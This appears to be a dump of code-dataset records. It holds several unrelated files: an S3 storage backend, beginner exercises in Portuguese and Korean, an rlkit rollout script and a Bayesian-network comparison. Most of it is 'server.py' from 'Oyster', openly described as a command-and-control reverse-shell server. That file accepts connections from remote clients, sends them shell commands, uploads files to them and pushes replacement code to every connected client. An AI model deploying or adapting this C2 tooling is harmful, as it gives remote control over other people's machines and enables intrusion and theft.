= set()\n if new:\n archives_to_skip = set(self.get_command_history(self.name, \"read\"))\n\n try:\n paginator = self.client.get_paginator(\"list_objects_v2\")\n page_iterator = paginator.paginate(Bucket=self.bucket_name)\n for archives in page_iterator:\n if \"Contents\" not in archives:\n continue\n for archive in archives[\"Contents\"]:\n if new and archive[\"Key\"] in archives_to_skip:\n continue\n if details:\n archive[\"LastModified\"] = archive[\"LastModified\"].strftime(\n \"%Y-%m-%d %H:%M:%S\"\n )\n yield archive\n else:\n yield archive[\"Key\"]\n except ClientError as err:\n error_msg = err.response[\"Error\"][\"Message\"]\n msg = \"Failed to list the bucket %s: %s\"\n logger.error(msg, self.bucket_name, error_msg)\n raise BackendException(msg % (self.bucket_name, error_msg)) from err\n\n def url(self, name):\n \"\"\"Gets `name` file absolute URL.\"\"\"\n return f\"{self.bucket_name}.s3.{self.default_region}.amazonaws.com/{name}\"\n\n def read(self, name, chunk_size: int = 4096):\n \"\"\"Reads `name` file and yields its content by chunks of a given size.\"\"\"\n logger.debug(\"Getting archive: %s\", name)\n\n try:\n obj = self.client.get_object(Bucket=self.bucket_name, Key=name)\n except ClientError as err:\n error_msg = err.response[\"Error\"][\"Message\"]\n msg = \"Failed to download %s: %s\"\n logger.error(msg, name, error_msg)\n raise BackendException(msg % (name, error_msg)) from err\n\n size = 0\n for chunk in obj[\"Body\"].iter_chunks(chunk_size):\n logger.debug(\"Chunk length %s\", len(chunk))\n size += len(chunk)\n yield chunk\n\n # Archive fetched, add a new entry to the history\n self.append_to_history(\n {\n \"backend\": self.name,\n \"command\": \"read\",\n \"id\": name,\n \"size\": size,\n \"fetched_at\": now(),\n }\n )\n\n def write(self, stream, name, overwrite=False):\n \"\"\"Writes data from `stream` to the `name` target.\"\"\"\n if not overwrite and name in list(self.list()):\n msg = \"%s already exists and overwrite is not allowed\"\n logger.error(msg, name)\n raise FileExistsError(msg % name)\n\n logger.debug(\"Creating archive: %s\", name)\n\n try:\n self.client.upload_fileobj(stream, self.bucket_name, name)\n except (ClientError, ParamValidationError) as exc:\n msg = \"Failed to upload\"\n logger.error(msg)\n raise BackendException(msg) from exc\n\n # Archive written, add a new entry to the history\n self.append_to_history(\n {\n \"backend\": self.name,\n \"command\": \"write\",\n \"id\": name,\n \"pushed_at\": now(),\n }\n )\n","sub_path":"src/ralph/backends/storage/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":5309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"416345295","text":"'''\nEscreva um programa que leia a velocidade de um carro. \nSe ele ultrapassar 80Km/h, mostre uma mensagem dizendo que ele foi multado. \nA multa vai custar R$7,00 por cada Km acima do limite.\n'''\nvelocidade = int(input('Qual a velocidade do carro?\\n'))\n\nif velocidade <= 80:\n print('Tudo bem!')\nelse:\n multa = (velocidade - 80) * 7\n print('Você foi multado e terá que pagar {:.2f}'.format(multa))","sub_path":"fundamentos/ex021.py","file_name":"ex021.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"63124596","text":"\n\nfrom xai.brain.wordbase.nouns._spook import _SPOOK\n\n#calss header\nclass _SPOOKS(_SPOOK, ):\n\tdef __init__(self,): \n\t\t_SPOOK.__init__(self)\n\t\tself.name = \"SPOOKS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"spook\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_spooks.py","file_name":"_spooks.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"152679683","text":"from rlkit.samplers.util import hierarchicalRollout as rollout\nfrom rlkit.torch.pytorch_util import set_gpu_mode\nfrom rlkit.envs.wrappers import NormalizedBoxEnv\nimport argparse\n# import joblib\nimport uuid\nfrom rlkit.core import logger\nimport numpy as np\n\nfilename = str(uuid.uuid4())\n\nimport torch\nimport gym\n\ndef simulate_policy(args):\n manager_data = torch.load(args.manager_file)\n worker_data = torch.load(args.worker_file)\n policy = manager_data['evaluation/policy']\n worker = worker_data['evaluation/policy']\n env = NormalizedBoxEnv(gym.make(str(args.env)))\n print(\"Policy loaded\")\n if args.gpu:\n set_gpu_mode(True)\n policy.cuda()\n\n import cv2\n video = cv2.VideoWriter('ppo_dirichlet_diayn_bipedal_walker_hardcore.avi', cv2.VideoWriter_fourcc('M','J','P','G'), 30, (1200, 800))\n index = 0\n\n path = rollout(\n env,\n policy,\n worker,\n continuous=True,\n max_path_length=args.H,\n render=True,\n )\n if hasattr(env, \"log_diagnostics\"):\n env.log_diagnostics([path])\n logger.dump_tabular()\n\n for i, img in enumerate(path['images']):\n print(i)\n video.write(img[:,:,::-1].astype(np.uint8))\n# cv2.imwrite(\"frames/ppo_dirichlet_diayn_policy_bipedal_walker_hardcore/%06d.png\" % index, img[:,:,::-1])\n index += 1\n\n video.release()\n print(\"wrote video\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('env', type=str,\n help='environment')\n parser.add_argument('manager_file', type=str,\n help='path to the manager snapshot file')\n parser.add_argument('worker_file', type=str,\n help='path to the worker snapshot file')\n parser.add_argument('--H', type=int, default=300,\n help='Max length of rollout')\n parser.add_argument('--gpu', action='store_true')\n args = parser.parse_args()\n\n simulate_policy(args)\n","sub_path":"scripts/run_policy_h_diayn.py","file_name":"run_policy_h_diayn.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"17481379","text":"data_asia = {\n 'MI_SUM':{'xray': {'either'}, 'dysp': {'either'}},\n 'MI_MEDIAN':{'bronc': {'smoke'}, 'xray': {'either'}, 'lung': {'smoke'}, 'dysp': {'either'}},\n 'CE_SUM':{'lung': {'smoke'}},\n 'CE_SUM_KNOWN':{'dysp': {'either'}, 'xray': {'either'}, 'either': {'tub', 'lung'}},\n 'INTRINSIC':{'either': {'tub', 'lung'}, 'lung': {'smoke'}, 'tub': {'asia'}, 'dysp': {'bronc'}, 'bronc': {'smoke'}}\n}\n\ndata_alarm = {\n 'MI_SUM':{'PAP': {'PULMEMBOLUS'}, 'SHUNT': {'INTUBATION'}, 'HISTORY': {'LVFAILURE'}, 'PRESS': {'VENTTUBE'}, 'EXPCO2': {'VENTLUNG', 'ARTCO2'}, 'BP': {'CO'}, 'CATECHOL': {'ARTCO2', 'SAO2'}, 'CVP': {'LVEDVOLUME'}, 'PCWP': {'LVEDVOLUME'}, 'HRBP': {'HR'}, 'CO': {'HR'}, 'SAO2': {'PVSAT'}, 'PVSAT': {'VENTALV'}, 'ARTCO2': {'VENTALV'}},\n 'MI_MEDIAN':{'HISTORY': {'LVFAILURE'}, 'SHUNT': {'INTUBATION'}, 'HR': {'CATECHOL'}, 'EXPCO2': {'VENTLUNG', 'ARTCO2'}, 'BP': {'CO'}, 'CATECHOL': {'SAO2', 'ARTCO2'}, 'PVSAT': {'VENTALV'}, 'ARTCO2': {'VENTALV'}},\n 'CE_SUM':{'SHUNT': {'INTUBATION'}, 'HISTORY': {'LVFAILURE'}, 'EXPCO2': {'ARTCO2', 'VENTLUNG'}, 'CATECHOL': {'ARTCO2', 'SAO2', 'TPR'}, 'PRESS': {'VENTTUBE'}, 'BP': {'CO'}, 'CVP': {'LVEDVOLUME'}, 'PCWP': {'LVEDVOLUME'}, 'SAO2': {'PVSAT'}, 'PVSAT': {'VENTALV'}, 'ARTCO2': {'VENTALV'}},\n 'CE_SUM_KNOWN':{'CATECHOL': {'TPR', 'SAO2', 'ARTCO2', 'INSUFFANESTH'}, 'PVSAT': {'VENTALV'}, 'EXPCO2': {'VENTLUNG', 'ARTCO2'}, 'ARTCO2': {'VENTALV'}, 'VENTLUNG': {'VENTTUBE'}, 'CVP': {'LVEDVOLUME'}, 'BP': {'TPR'}},\n 'INTRINSIC':{'VENTALV': {'INTUBATION', 'VENTLUNG'}, 'MINVOL': {'INTUBATION', 'VENTLUNG'}, 'PVSAT': {'FIO2'}, 'VENTLUNG': {'KINKEDTUBE', 'VENTTUBE', 'INTUBATION'}, 'SAO2': {'SHUNT'}, 'VENTTUBE': {'DISCONNECT', 'VENTMACH'}, 'HR': {'CATECHOL'}, 'HREKG': {'ERRCAUTER'}, 'HRSAT': {'ERRCAUTER'}, 'HRBP': {'ERRLOWOUTPUT'}, 'LVEDVOLUME': {'HYPOVOLEMIA', 'LVFAILURE'}, 'CO': {'STROKEVOLUME'}, 'VENTMACH': {'MINVOLSET'}, 'CATECHOL': {'TPR', 'INSUFFANESTH'}, 'BP': {'TPR'}}\n}\ndef get_stats(data):\n result = {}\n arcs = set([])\n arcs_per_alg = {i:[] for i in data.keys()} # (child,parent)\n for alg,case in data.items():\n for child,parents in case.items():\n for parent in parents:\n arcs.add((child,parent))\n arcs_per_alg[alg].append((child,parent))\n for arc in arcs:\n for alg in data.keys():\n if arc in arcs_per_alg[alg]:\n if arc in result.keys():\n result[arc].append(alg)\n else:\n result[arc] = [alg]\n indecs = sorted(result, key=lambda k: len(result[k]), reverse=True)\n result = {i:result[i] for i in indecs}\n print(result)\n\nget_stats(data_alarm)","sub_path":"solution_comparation/order_missed_arcs_analyse.py","file_name":"order_missed_arcs_analyse.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"352506587","text":"s = input(\"word1 : \") # 문자 s입력\nt = input(\"word2 : \") # 문자 t입력\nn = 1\nwhile(True): # s를 fs로 t를 ft로 각각 무한 문자열을 생성\n fs = s * n\n ft = t * n\n n = n + 1\n if len(fs) == 300: # 실행시간 관계로 fs가 300자리가 되면 무한문자열 생성 중지\n break\n elif len(ft) == 300: #실행시간 관계로 ft가 300자리가 되면 무한문자열 생성 중지\n break\n\nif len(s) > len(t): # 문자열 s가 t보다 클경우\n if ft in fs: # 무한문자열 fs안에 문자열 t가 있으면 1 없으면 0출력\n print(1)\n else :\n print(0)\nelse : # 문자열 t가 s보다 클경우\n if fs in ft: # 무한문자열 ft안에 문자열 s가 있으면 1 없으면 0출력\n print(1)\n else :\n print(0)\n\n# 소요시간 : 25분? 30분?","sub_path":"2020(4Q), 2021(1, 2Q)/#00. Assignment/Assignment01/병근-12871풀이.py","file_name":"병근-12871풀이.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"603449604","text":"filepair = __file__.rsplit(\"/\", 1)\n\nif len(filepair) == 1:\n\tRELDIR = \"\"\n\nelse:\n\tRELDIR = filepair[0]+\"/\"\n\ndel filepair\n\nOTHDIR = RELDIR+\"web/oth/\"\nCSSDIR = RELDIR+\"web/css/\"\nPAGEDIR = RELDIR+\"web/html/\"\nPAGEERROR = \"Error\"\nFILE404 = \"NO\"\nPAGECACHING = False\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"210069132","text":"from __future__ import print_function\nimport sys\nimport threading\nimport socket\nimport shlex\nfrom time import sleep\nimport os\nfrom os.path import expanduser\nfrom os import execv\nfrom uuid import uuid4\nfrom base64 import b64encode, b64decode\nfrom client import Client\n\n\ndef safe_input(display_string):\n \"\"\"\n Get input from user. Should work with python 2.7 and 3.x\n\n :param display_string:\n :return:\n \"\"\"\n \n try:\n x = raw_input(display_string)\n except NameError:\n x = input(display_string)\n\n return x\n\n\nclass LoopController(object):\n def __init__(self):\n self.should_break = False\n\n\nclass Connection(object):\n \"\"\"\n Manages a socket object.\n \"\"\"\n\n def __init__(self, connection, address, recv_size=1024):\n self.connection = connection\n self.ip, self.port = address[0], address[1]\n self.recv_size = int(recv_size)\n self.status = 'OPEN'\n\n def close(self):\n \"\"\"\n Close the connection.\n\n :return:\n \"\"\"\n\n self.send_command('disconnect')\n closing = True\n self.status = 'CLOSED'\n while closing:\n try:\n self.connection.close()\n except OSError as e:\n if e.errno == 9:\n continue\n except Exception as e:\n continue\n closing = False\n return self\n\n def try_close(self, connection):\n \"\"\"\n Try to close a connection.\n\n :param connection:\n :return:\n \"\"\"\n\n closed = False\n self.status = 'CLOSED'\n try:\n connection.close()\n closed = True\n except OSError as e:\n # Bad file descriptor / writing to socket.\n if e.errno == 9:\n return True\n except Exception as e:\n return False\n return closed\n\n def send_command(self, command, echo=False, encode=True, file_response=False):\n \"\"\"\n Send a command to the connection.\n\n :param command:\n :param echo:\n :param encode:\n :return:\n \"\"\"\n\n if echo:\n print('Sending Command: {}'.format(command))\n try:\n if encode:\n self.connection.send(str.encode(command + '~!_TERM_$~'))\n else:\n self.connection.send(command)\n self.connection.send(str.encode('~!_TERM_$~'))\n except BrokenPipeError as err_msg:\n self.status = 'CLOSED'\n print('Client disconnected...')\n self.try_close(self.connection)\n return False\n except OSError as err_msg:\n # Client connection is already closed.\n self.status = 'CLOSED'\n return False\n\n if file_response:\n print('Getting file response...')\n return self.get_file_response(file_response)\n\n return self.get_response()\n\n def get_file_response(self, filepath, echo=False):\n \"\"\"\n Receive a response from the server.\n\n :return:\n \"\"\"\n\n data_package = ''\n with open(filepath, 'wb') as f:\n while True:\n try:\n data = self.connection.recv(self.recv_size)\n except ConnectionResetError:\n print('Connection reset by peer.')\n break\n if len(data) < 1:\n continue\n d = data.decode('utf-8')\n\n tstring = d[-10:]\n if tstring == '~!_TERM_$~':\n d = d[:-10]\n\n if d[:9] == '[Errno 2]':\n return d\n\n # Write the data!\n _ = b64decode(d)\n f.write(_)\n\n # Make sure the data package persists with some old data\n data_package = data_package + d + tstring if len(data_package) < 1 else data_package[-15:] + d + tstring\n # print('Data:', repr(d))\n if data_package[-10:] == '~!_TERM_$~':\n # print('Got termination string!')\n break\n\n return filepath\n\n def get_response(self, echo=False):\n \"\"\"\n Receive a response from the server.\n\n :return:\n \"\"\"\n\n data_package = ''\n while True:\n try:\n data = self.connection.recv(self.recv_size)\n except ConnectionResetError:\n print('Connection reset by peer.')\n break\n if len(data) < 1:\n continue\n d = data.decode('utf-8')\n data_package += d\n # print('Data:', repr(d))\n if data_package[-10:] == '~!_TERM_$~':\n # print('Got termination string!')\n break\n\n data_package = data_package[:-10]\n if echo:\n print('Response: {}'.format(data_package))\n return data_package\n\n\nclass ConnectionManager(object):\n \"\"\"\n Manage the Connection objects added to it.\n \"\"\"\n\n def __init__(self):\n self.connections = {}\n self.session_id = uuid4()\n self.current_connection = None\n self.cwd = None\n\n def __iter__(self):\n \"\"\"\n Return an generator.\n\n :return:\n \"\"\"\n\n try:\n for k, v in self.connections.iteritems():\n yield k, v\n except:\n for k, v in self.connections.items():\n yield k, v\n\n def __len__(self):\n \"\"\"\n Return the amount of connections in the pool.\n\n :return:\n \"\"\"\n\n return len(self.connections)\n\n def __getitem__(self, item):\n \"\"\"\n Get item from dictionary by key or by index.\n\n :param item:\n :return:\n \"\"\"\n\n if str(item).isdigit():\n return list(self.connections.values())[int(item)]\n return self.connections[item]\n\n def __setitem__(self, key, value):\n \"\"\"\n Set an item in the dictionary.\n\n :param key:\n :param value:\n :return:\n \"\"\"\n\n self.connections[key] = value\n\n def __delitem__(self, key):\n \"\"\"\n Delete item connection from pool.\n\n :param key:\n :return:\n \"\"\"\n\n del self.connections[key]\n\n def __str__(self):\n \"\"\"\n Print out the client data.\n\n :return:\n \"\"\"\n\n c = 0\n client_data = \"-------------- Clients --------------\\n\"\n for key, connection in self.connections.items():\n client_data += '[{}]'.format(c) + ' ' + key + ' ' + str(connection.port) + '\\n'\n c += 1\n return client_data\n\n def close(self):\n \"\"\"\n Close a the current connection.\n\n :return:\n \"\"\"\n\n if self.current_connection is not None:\n self.current_connection.close()\n return self\n\n def use_connection(self, ip):\n \"\"\"\n Use the given IP as the current connection. An index can be passed as well.\n\n :param ip:\n :return:\n \"\"\"\n\n if ip is None:\n self.current_connection = None\n return None\n\n # Set the use_index variable based on whether or not we can int() it the ip.\n try:\n int(ip)\n use_index = True\n except ValueError:\n use_index = False\n\n # If we need to use_index, then look up the dictionary entry by index.\n # If not, do regular dictionary lookup.\n if use_index:\n try:\n self.current_connection = list(self.connections.values())[int(ip)]\n except (KeyError, IndexError):\n print('No connection for the given key/index')\n return None\n else:\n try:\n self.current_connection = self.connections[str(ip)]\n except KeyError:\n print('No connection for the given IP address')\n return None\n return self.current_connection\n\n def remove_connection(self, connection):\n \"\"\"\n Remove a connection.\n\n :param connection:\n :return:\n \"\"\"\n\n ip = False\n for ip, conn in self.connections.items():\n if conn == connection:\n ip = ip\n break\n if ip:\n print('< Removing connection: {} >'.format(ip))\n del self.connections[ip]\n return self\n\n def send_command(self, command, echo=False, encode=True, file_response=False):\n \"\"\"\n Send a command to a specific client.\n\n :param command:\n :param echo:\n :param encode:\n :return:\n \"\"\"\n\n if self.current_connection is None:\n print('Run the `use` command to select a connection by ip address before sending commands.')\n return ''\n\n try:\n response = self.current_connection.send_command(command, encode=encode, file_response=file_response)\n except BrokenPipeError as err_msg:\n self.current_connection = None\n return\n\n if echo:\n print(response)\n self.cwd = self.current_connection.send_command('oyster getcwd')\n return response\n\n def send_commands(self, command, echo=False):\n \"\"\"\n Send a command to all of the clients.\n\n :param command:\n :param echo:\n :return:\n \"\"\"\n\n response = ''\n for ip, connection in self.connections.items():\n response += connection.send_command(command)\n\n if echo:\n print(response)\n return response\n\n def close_all_connections(self):\n \"\"\"\n Close all the connections in the pool.\n\n :return:\n \"\"\"\n\n for key, connection in self.connections.items():\n self.close_connection(key)\n\n self.connections = {}\n return self\n\n def close_connection(self, ip_address):\n \"\"\"\n Close and remove a connection from the connection pool.\n\n :param ip_address:\n :return:\n \"\"\"\n\n self.connections[ip_address].close()\n return self\n\n def server_should_shutdown(self, address):\n \"\"\"\n Check to see if the given address connected with a shutdown command for the server.\n\n :param address:\n :return:\n \"\"\"\n\n return True if self.connections[address].send_command('oyster server_shutdown?') == 'Y' else False\n\n def add_connection(self, connection, address):\n \"\"\"\n Add a connection to the connection pool.\n\n :param connection:\n :param address:\n :return:\n \"\"\"\n\n self.connections[str(address[0])] = Connection(connection, address)\n # conn.send_command('set-session-id {}'.format(self.session_id))\n return self\n\n\nclass Server(object):\n \"\"\"\n A simple command and control server(Reverse Shell).\n \"\"\"\n def __init__(self, host=\"\", port=6667, recv_size=1024, listen=10, bind_retry=5, header=True):\n self.header = header\n header = \"\"\"\\n .oOOOo.\n.O o.\nO o O\no O oOo\nO o O o .oOo o .oOo. `OoOo.\no O o O `Ooo. O OooO' o\n`o O' O o O o O O\n `OoooO' `OoOO `OoO' `oO `OoO' o\n o\n OoO' \"\"\"\n if self.header:\n print(header, end='\\n\\n')\n self.host = host\n self.port = int(port)\n self.recv_size = int(recv_size)\n self.listen = int(listen)\n self.bind_retry = bind_retry\n\n self.socket = None\n self.reboot = False\n\n self.connection_mgr = ConnectionManager()\n self.create_socket()\n self.bind_socket()\n\n def send_command(self, data, echo=False, encode=True, file_response=False):\n \"\"\"\n Shortcut to send a command to the currently connected client in the connection manager.\n\n :param data:\n :param echo:\n :param encode:\n :param file_response:\n :return:\n \"\"\"\n\n response = self.connection_mgr.send_command(data, echo=echo, encode=encode, file_response=file_response)\n return response\n\n def create_socket(self):\n \"\"\"\n Create the socket.\n\n :return:\n \"\"\"\n\n try:\n self.socket = socket.socket()\n except socket.error as error_message:\n print('Could not create socket:', error_message)\n sys.exit()\n self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n return self\n\n def bind_socket(self, attempts=1):\n \"\"\"\n Bind the socket to the port.\n\n :return:\n \"\"\"\n\n print('Starting on port', self.port, end=', ')\n try:\n # Bind & start listening.\n self.socket.bind((self.host, self.port))\n self.socket.listen(self.listen)\n print('waiting for client connections...', end='\\n\\n')\n\n except socket.error as error_message:\n print('Could not bind the socket:', error_message, '\\n', 'Trying again...')\n sleep(1)\n\n # Try to bind the socket 5 times before giving up.\n if attempts == self.bind_retry:\n print('Could not bind the socket to the port after {} tries. Aborting...'.format(self.bind_retry))\n sys.exit()\n self.bind_socket(attempts=attempts + 1)\n return self\n\n def accept_connections(self):\n \"\"\"\n Start accepting connections.\n\n :return:\n \"\"\"\n\n while True:\n try:\n conn, address = self.socket.accept()\n except socket.error as e:\n # Loop indefinitely\n continue\n\n # Check to see if the address is already connected.\n if address[0] in self.connection_mgr.connections.keys():\n continue\n\n conn_obj = Connection(conn, address, recv_size=self.recv_size)\n should_connect = conn_obj.send_command('connect {}'.format(self.connection_mgr.session_id))\n should_connect = True if should_connect == 'True' else False\n if should_connect:\n self.connection_mgr.add_connection(conn, address)\n else:\n conn_obj.close()\n\n # Send the connection it's ip and port\n conn_obj.send_command('set ip {}'.format(address[0]))\n conn_obj.send_command('set port {}'.format(address[1]))\n\n # Check local addresses.\n if address[0] == '127.0.0.1':\n if self.connection_mgr.server_should_shutdown('127.0.0.1'):\n self.connection_mgr.close_all_connections()\n print('< Listener Thread > Connections no longer being accepted!')\n break\n\n print(\n '\\n< Listener Thread > {} ({}) connected... >\\n{}'.format(\n address[0],\n address[1],\n 'Oyster> '\n ),\n end=''\n )\n return\n\n def update_clients(self):\n \"\"\"\n Update all the connected clients using the `update.py` file.\n\n :return:\n \"\"\"\n\n print('Starting script upload...')\n with open('update.py', 'r') as f:\n file_data = ''\n for line in f:\n file_data += line\n\n _c = \"update {}\".format(file_data)\n print(self.connection_mgr.send_commands(_c))\n sleep(.5)\n self.connection_mgr.close()\n self.connection_mgr.remove_connection(self.connection_mgr.current_connection)\n self.connection_mgr.current_connection = None\n print('Finished uploading \\'update.py\\' to client.')\n return self\n\n def set_cli(self, the_string):\n \"\"\"\n Set the command line to equal a certain string.\n\n :param the_string:\n :return:\n \"\"\"\n\n print(the_string, end='')\n return self\n\n def handle_upload(self, filepaths=None):\n \"\"\"\n Handle a file upload.\n\n :param command:\n :return:\n \"\"\"\n\n if self.connection_mgr.current_connection is None:\n print(self.connection_mgr)\n connection_id = safe_input('< Enter Client IP or Index > ')\n else:\n connection_id = None\n\n # Handle the filepaths variable\n if filepaths is None:\n\n local_filepath = expanduser(safe_input('< Local File Path >'))\n remote_filepath = safe_input('< Remote File Path >')\n\n else:\n try:\n local_filepath, remote_filepath = shlex.split(filepaths)\n local_filepath = expanduser(local_filepath)\n except ValueError as err_msg:\n print('ValueError handling upload:', err_msg)\n return\n\n if connection_id is not None:\n connection = self.connection_mgr[connection_id]\n else:\n connection = self.connection_mgr.current_connection\n\n print(connection.send_command('upload_filepath {}'.format(remote_filepath)))\n\n r = None\n try:\n with open(local_filepath, 'rb') as f:\n data = b64encode(f.read())\n r = connection.send_command('upload_data')\n r += '\\n' + connection.send_command(data, encode=False)\n except FileNotFoundError as err_msg:\n print(err_msg)\n\n return r\n\n def write_file_data(self, filepath, filedata):\n \"\"\"\n Write file data to hard drive.\n\n :param filepath:\n :param filedata:\n :return:\n \"\"\"\n\n with open(expanduser(filepath), 'wb') as f:\n f.write(b64decode(filedata))\n # print('\\n<', filepath, 'written...', '>')\n return\n\n def get_server_plugins(self):\n \"\"\"\n Dynamically import any server_plugins in the `server_plugins` package.\n :return:\n \"\"\"\n\n plugin_list = []\n # Get the filepath of the server plugins based on the filepath of the this file.\n fp = __file__.replace(__file__.split('/')[-1], '') + 'server_plugins'\n # Get the names of the modules within the server_plugins folder.\n module_names = [n.replace('.py', '').replace('.pyc', '') for n in os.listdir(fp) if '__init__.py' not in n]\n hidden_files = [n for n in os.listdir(fp) if n[0] == '.']\n module_names = [n for n in module_names if n not in hidden_files]\n\n try:\n module_names.remove('__pycache__')\n except ValueError:\n pass\n\n for module_name in module_names:\n # Import the module by name\n module = __import__('server_plugins.' + module_name, fromlist=[''])\n # Add the module to the plugin list\n plugin_list.append(module)\n\n return plugin_list\n\n def get_shell_plugins(self):\n \"\"\"\n Dynamically import any shell_plugins in the `shell_plugins` package.\n :return:\n \"\"\"\n\n plugin_list = []\n # Get the filepath of the shell plugins based on the filepath of the this file.\n fp = __file__.replace(__file__.split('/')[-1], '') + 'shell_plugins'\n # Get the names of the modules within the shell_plugins folder.\n module_names = [n.replace('.py', '').replace('.pyc', '') for n in os.listdir(fp) if '__init__.py' not in n]\n try:\n module_names.remove('__pycache__')\n except ValueError:\n pass\n\n for module_name in module_names:\n # Import the module by name\n module = __import__('shell_plugins.' + module_name, fromlist=[''])\n # Add the module to the plugin list\n plugin_list.append(module)\n\n return plugin_list\n\n def process_plugins(self, plugin_list, data):\n \"\"\"\n Process plugins to see if the data should be intercepted.\n\n :param plugin_list:\n :param data:\n :return:\n \"\"\"\n\n def run_plugin(_module, _data):\n \"\"\"\n Run the plugin in the given module.\n\n :param _module:\n :param _data:\n :return:\n \"\"\"\n\n print('\\n< {} >\\n'.format(_module.__name__))\n try:\n plugin = _module.Plugin()\n except AttributeError:\n return False\n\n # Remove the invocation command from the rest of the data.\n command = _data[invocation_length:]\n _result = plugin.run(self, command)\n _plugin_ran = True\n print('\\n< /{} >'.format(_module.__name__))\n return _plugin_ran, _result\n\n if plugin_list:\n plugin_ran = False\n result = False\n for module in plugin_list:\n results = False\n\n invocation_length = len(module.Plugin.invocation)\n invocation_type = type(module.Plugin.invocation)\n\n if invocation_type == list or invocation_type == tuple:\n if data[:invocation_length] in module.Plugin.invocation:\n results = run_plugin(module, data)\n elif data[:invocation_length] == module.Plugin.invocation:\n if module.Plugin.enabled or (hasattr(module.Plugin, 'required') and module.Plugin.required):\n results = run_plugin(module, data)\n\n if not results:\n continue\n plugin_ran, result = results\n\n return plugin_ran, result\n\n def start_client_shell(self):\n \"\"\"\n Open up a client shell using the current connection.\n\n :return:\n \"\"\"\n\n plugin_list = self.get_server_plugins()\n\n self.connection_mgr.send_command('oyster getcwd')\n while True:\n # Get the client IP to display in the input string along with the current working directory\n input_string = \"<{}> {}\".format(self.connection_mgr.send_command('get ip'), self.connection_mgr.cwd)\n # If the connection was closed for some reason, return which will end the client shell.\n if self.connection_mgr.current_connection.status == 'CLOSED':\n return\n\n # Get a command from the user using the crafted input string.\n command = safe_input(input_string)\n\n # Start processing commands.\n if command == 'quit' or command == 'exit':\n print('Detaching from client...')\n try:\n self.connection_mgr.close()\n except (BrokenPipeError, OSError) as err_msg:\n self.connection_mgr.remove_connection(self.connection_mgr.current_connection)\n self.connection_mgr.current_connection = None\n break\n\n self.connection_mgr.remove_connection(self.connection_mgr.current_connection)\n self.connection_mgr.current_connection = None\n break\n\n # # # # # # # PROCESS PLUGINS # # # # # # #\n plugin_ran, loop_controller = self.process_plugins(plugin_list, command)\n if plugin_ran:\n if isinstance(loop_controller, LoopController):\n if loop_controller.should_break:\n break\n continue\n\n # Reboot the target's client.py file remotely.\n if command == 'shell reboot':\n try:\n self.connection_mgr.send_command(command)\n except BrokenPipeError as err_msg:\n self.connection_mgr.current_connection = None\n break\n continue\n\n # Send command through.\n try:\n response = self.connection_mgr.send_command(command)\n except BrokenPipeError as err_msg:\n print(err_msg)\n break\n print(response, end='')\n return\n\n def open_oyster(self):\n \"\"\"\n Run the Oyster shell.\n\n :return:\n \"\"\"\n\n plugin_list = self.get_shell_plugins()\n\n sleep(1)\n while True:\n command = safe_input('Oyster> ')\n\n # List connected clients.\n if command == 'list':\n print(self.connection_mgr)\n continue\n\n # # # # # # # PROCESS PLUGINS # # # # # # #\n plugin_ran, loop_controller = self.process_plugins(plugin_list, command)\n if plugin_ran:\n if isinstance(loop_controller, LoopController):\n if loop_controller.should_break:\n break\n continue\n\n # Update all clients using the local update.py file.\n if command == 'update all':\n self.update_clients()\n continue\n\n # Upload file to\n if command == 'upload':\n print(self.handle_upload())\n continue\n\n # Quit the server.py app down.\n if command == 'quit' or command == 'exit' or command == 'shutdown':\n self.handle_quit()\n return False\n\n # Reboot self.\n if command == 'reboot':\n print('Rebooting...')\n self.reboot_self()\n return\n\n if len(command) > 0:\n if self.connection_mgr.current_connection is not None:\n print(self.connection_mgr.send_command(command))\n return\n\n def handle_quit(self):\n \"\"\"\n Handle a quit event issued by the Oyster Shell.\n\n :return:\n \"\"\"\n\n # Open a client with the `server_shutdown` and\n # `shutdown_kill` flags. This will tell the\n # client to tell the servers connection\n # listener thread to shut itself down.\n # Since the Oyster Shell thread is\n # initiating the `quit` command\n # it knows how to shut down.\n client_shutdown = Client(\n port=self.port,\n recv_size=self.recv_size,\n server_shutdown=True,\n shutdown_kill=True\n )\n client_shutdown.main()\n # Close all the connections that have been established.\n self.connection_mgr.close_all_connections()\n return self\n\n def reboot_self(self):\n \"\"\"\n Reboot the server.py script.\n\n :return:\n \"\"\"\n\n restart_arguments = list(sys.argv)\n restart_arguments.insert(0, '')\n execv(sys.executable, restart_arguments)\n sys.exit()\n\n\nif __name__ == '__main__':\n\n # Set some default values.\n the_host = ''\n the_port = 6667\n the_recv_size = 1024\n the_listen = 10\n the_bind_retry = 5\n\n def check_cli_arg(arg):\n \"\"\"\n Check command line argument and manipulate the variable\n that it controls if it matches.\n\n :param arg:\n :return:\n \"\"\"\n\n global the_host\n global the_port\n global the_recv_size\n global the_listen\n global the_bind_retry\n\n if 'host=' in arg:\n the_host = arg.split('=')[1]\n elif 'port=' in arg:\n the_port = int(arg.split('=')[1])\n elif 'recv_size=' in arg:\n the_recv_size = int(arg.split('=')[1])\n elif 'listen=' in arg:\n the_listen = int(arg.split('=')[1])\n elif 'bind_retry=' in arg:\n the_bind_retry = int(arg.split('=')[1])\n\n # Check all the command line arguments\n for argument in sys.argv[1:]:\n check_cli_arg(argument)\n\n server = Server(\n host=the_host,\n port=the_port,\n recv_size=the_recv_size,\n 